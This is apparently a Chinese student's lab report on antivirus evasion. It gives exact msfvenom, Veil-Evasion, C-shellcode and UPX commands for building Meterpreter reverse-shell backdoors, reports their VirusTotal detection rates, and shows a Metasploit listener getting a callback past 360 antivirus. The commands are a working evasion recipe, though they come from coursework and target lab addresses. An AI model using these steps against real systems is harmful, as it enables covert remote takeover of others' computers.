2019-2020-2 网络对抗技术 20174310 Exp3 免杀原理与实践


 

1 实验要求

1.1 实验内容

1.1.1 实践各种免杀技术

       - 正确使用msf编码器

       - msfvenom生成如jar之类的其他文件

       - veil

       - 加壳工具

       - 使用C + shellcode编程

       - 使用其他课堂未介绍方法

1.1.2 通过组合应用各种技术实现恶意代码免杀

1.1.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

1.2 基础问题回答

1.杀软是如何检测出恶意代码的?

  • 基于特征来检测:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有程序包含的特征码与其特征码库的代码相匹配,就会把该程序当作恶意软件。
  • 基于行为来检测:通过对恶意代码的观察、研究,有一些行为是恶意代码的共同行为,而且比较特殊。所以当一个程序在运行时,杀毒软件会监视其行为,如果发现了这种特殊的行为,则会把它当成恶意软件。

2.免杀是做什么的?

  通过使用一些技术手段,让安全软件无法检测处理主机中的恶意代码。

3.免杀的基本方法有哪些?

  • (1)通过改变自身特征码
    • 加壳
    • 进行异或、逆序或者其他手段改变自身特征码
    • 通过改变软件攻击的行为
  • (2)在看似正常的应用中插入恶意代码
    • 可以使用反弹端口技术,看似是靶机在主动链接ip,降低被查杀的风险
    • 使用隧道技术

2 实验过程及步骤

2.1 实践各种免杀方法

2.1.1 正确使用msf编码器

在上次实验中生成了4310srq_backdoor的后门文件,将其放在virustotal.com中进行扫描,结果如下图所示:

 

 

可以发现,71款杀软中有58款报出了病毒。毕竟Msfvenom是Metasploit平台下用来编码payloads免杀的工具,以Metaspliot的知名度和普及度,只要一有新编码算法,马上就会加到特征库里,所以被大多数杀软识别出来并不奇怪。

接下来用msf编码器进行一次编码,使用命令 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.154.128 LPORT=4310-f exe > srq4310.exe 生成编码过的可执行文件fool4320.exe:

再去virustotal.com中进行扫描:

 

 扫描之后比之前少了1款杀软报毒

进行十次编码尝试:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.154.128 LPORT=4320 -f exe > met-encoded10.exe

 

在 virustotal.com中进行扫描:

十次编码之后还是有56款杀毒软件报毒,和一开始编码前相比报毒率几乎没变。

由此可见,无论编码多少次都是一样,效果并不明显,所以想要利用编码次数来达到免杀效果显然是不行的

2.1.2  msfvenom生成其他文件

jar文件

使用命令 msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.80.131LPORT=4310 x> bd_java_srq.jar 生成文件如下所示:

 

 生成好之后把它放到桌面上的文件夹中,再放到virustotal.com中扫描一下:

 

 相比exe,杀软报毒数量明显减少。

php文件

使用命令 msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.80.131LPORT=4320 x> 4320.php 生成文件如下所示:

 

 生成好之后放到virustotal.com中扫描一下:

 

 

可以看到有34个杀软报毒,和jar格式差不多。

综上所述,用MSF生成这些java格式文件和php格式文件相比exe格式文件对免杀还是有一定的效果。

2.1.3 使用veil-evasion生成后门程序及检测

Veil-Evasion是一个与Metasploit有点类似的软件,可以在kali进行在线安装:sudo apt-get install veil-evasion

  • 使用命令cd /usr/share/veil/config/进入该文件夹

  • 使用命令vim setup.sh编辑文件,第260行把github仓库改成码云的仓库,https://gitee.com/spears/VeilDependencies.git

输入veil指令,进入如下个界面

 

 成功进入到菜单界面,可以看到当前一共有 41 种 payload 可用.

 输入命令use c/meterpreter/rev_tcp.py进入配置界面:

设置反弹连接IP,命令为:set LHOST 192.168.80.131,注意此处的IP是虚拟机Kali的IP

设置端口,命令为:set LPORT 4310

输入generate生成文件,接着输入你想要playload的名字:veil_s_4310

 

 如上图所示,保存路径为/var/lib/veil/output/compiled/veil_s_4310.exe

在virustotal.com上去扫描了:

 

 可以看到veil做出来的后门程序虽然还是相当多的杀毒软件报毒,但是还是比msf做的后门exe程序免杀性高。

2.1.4 使用C + shellcode编程

在kali主机下,进入终端,执行指令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.80.131 LPORT=4310 -f c

得到一个生成的shellcode数组:

 新建一个shellcode_4310.c文件,用vim进行编辑,把刚得到的shellcode数组拷贝进去,并增加一个main函数。

使用  i686-w64-mingw32-g++ shellcode4310.c -o 20174310.exe  命令将该C语言代码MSSC.c转换为一个可在64位windows系统下操作的可执行文件20174310.exe

 

 把这个文件放到virustotal.com上去扫描:

 

 

 风险已经降低了,但是仍被定性为病毒文件,所以还可以进一步考虑修改代码。

2.1.5 加壳

upx是一种压缩程序,可以实现加壳的功能,可以输入如下命令来完成:

upx #需要加壳的文件名 -o #加壳后的文件名

这里我们将上面用c编程的shellcode生成的后门程序进行加壳,观察免杀性能否提高:

 

 把加壳之后得到的程序放到virustotal.com上进行扫描:

 这已经是实验到目前为止免杀效果最好的一种技术了

2.1.6 其他方法

采用Veil-Evasion的其他荷载生成后门方式

进入evasion,使用list查看可用的有效荷载

根据 payload 编号,这里我选择 29号的 python payload进行实验:

 接下来输入指令生成payload,选择一种生成 shellcode 的模板文件,我就选择 msfvenom 。

 选择后开始设置IP地址和端口号:

 接下来,要求对文件进行命名后

这个界面要求我们,对生成的 payload 进行可执行性的编译,通过网上查资料,我选择了第2个免杀性更强的编译器。

 一切设置好以后,回车一下可以看到,我们需要的后门程序已经生成好了:

 拿到virustotal.com上去扫描:

 

 可以看到veil做出来的后门程序免杀性很高。

任务二:通过组合应用各种技术实现恶意代码免杀

因为采用Veil-Evasion的其他荷载生成后门方式可以通过查杀,所以我们采用这种方法进行免杀


 

任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

打开msfconsole进行监听,输入以下指令:

use exploit/multi/handler //监听设置
set payload set payload windows/meterpreter/reverse_tcp //使用与生成后门程序一样的
payload set LHOST 192.168.80.131 //Linux端的IP地址
set LPORT 4310 //与之前输入的端口号一致
exploit //开始监听

观察到成功回连,杀软没有查杀,通过检测。


 杀软使用的是360,版本为11.4.0.2001


 


 

3.实验感想

实验一次比一次困难,实验二的时候还需要将一些杀软关掉,才能获得主机权限,这次实验就更加实际贴近生活,通过各种各样的方式避开杀软获得主机权限,对实践和知识学习很有帮助。
做了实验才发现,杀软也不是完全能检测出一些软件,平时要注意安全



posted @ 2020-04-02 23:52  20174310隋润起  阅读(161)  评论(0编辑  收藏